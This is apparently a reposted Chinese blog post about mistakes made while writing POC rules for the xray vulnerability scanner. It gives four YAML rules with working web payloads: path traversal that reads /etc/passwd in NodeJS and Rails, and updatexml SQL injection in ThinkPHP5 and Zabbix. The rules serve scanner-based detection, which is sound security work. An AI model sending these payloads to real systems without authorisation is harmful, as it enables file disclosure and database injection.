xray写POC踩坑

最新推荐文章于 2025-07-08 20:40:21 发布

weixin_30872337

最新推荐文章于 2025-07-08 20:40:21 发布

阅读量1k

点赞数

CC 4.0 BY-SA版权

文章标签： php 运维

原文链接：http://www.cnblogs.com/17bdw/p/11515741.html

本文详细列举了多种软件安全漏洞的检测规则，包括NodeJS路径验证漏洞CVE-2017-14849、Rails文件内容泄露CVE-2019-5418、ThinkPHP5 SQL注入漏洞及Zabbix JSRPC.php漏洞CVE-2016-10134。每种漏洞都提供了详细的检测方法、受影响版本和相关链接。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

错误记录

静态文件目录不一定是static。
只考虑了linux的情况，如果是 windows 呢，能读取某些应用自己的源码吗。
实际环境参数不一定是id，thinkphp 不适合使用 poc 来写
poc 内容没啥问题，文件名和 poc name有问题 https://travis-ci.org/chaitin/xray/builds/583451463?utm_source=github_status&utm_medium=notification

NodeJS_path-validation_CVE-2017-14849.yml


name: NodeJS_path-validation_CVE-2017-14849
rules:
  - method: GET
    path: /static/../../../a/../../../../etc/passwd
    headers:
      Accept: ''
    follow_redirects: false
    expression: |
      status==200 && body.bcontains(b'root:x:0:0')
detail:
  author: 17bdw
  Affected Version: "NodeJS 8.5.0"
  links:
    - https://github.com/vulhub/vulhub/tree/master/node/CVE-2017-14849

Rails_file_content_disclosure_CVE-2019-5418

name: Rails_file_content_disclosure_CVE-2019-5418
rules:
  - method: GET
    path: /robots
    headers:
      Accept: '../../../../../../../../etc/passwd{{'
    follow_redirects: false
    expression: |
      status==200 && body.bcontains(b'root:x:0:0')
detail:
  author: 17bdw
  Affected Version: "Rails_<6.0.0.beta3, 5.2.2.1, 5.1.6.2, 5.0.7.2, 4.2.11.1"
  links:
    - https://github.com/vulhub/vulhub/tree/master/rails/CVE-2019-5418

thinkphp5-in-sqlinjection

name: thinkphp5-in-sqlinjection
rules:
  - method: GET
    path: /index.php?ids[0,updatexml(0,concat(0xa,MD5(8888)),0)]=1
    expression: |
      body.bcontains(b'cf79ae6addba60ad018347359bd144d')
detail:
  author: 17bdw
  Affected Version: "thinkphp5-in-sqlinjection"
  vuln_url: "/index.php?ids[0,updatexml(0,concat(0xa,MD5(8888)),0)]=1"
  links:
    - https://github.com/vulhub/vulhub/tree/master/thinkphp/in-sqlinjection

zabbix_3.0.3_jsrpc.php_CVE-2016-10134

  
name: zabbix_3.0.3_jsrpc.php_CVE-2016-10134
rules:
  - method: GET
    path: /jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,MD5(8888)),0)
    expression: |
      body.bcontains(b'cf79ae6addba60ad018347359bd144d')
detail:
  author: 17bdw
  Affected Version: "zabbix_3.0.3_jsrpc.php_CVE-2016-10134"
  vuln_url: "/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)"
  links:
    - https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134

转载于:https://www.cnblogs.com/17bdw/p/11515741.html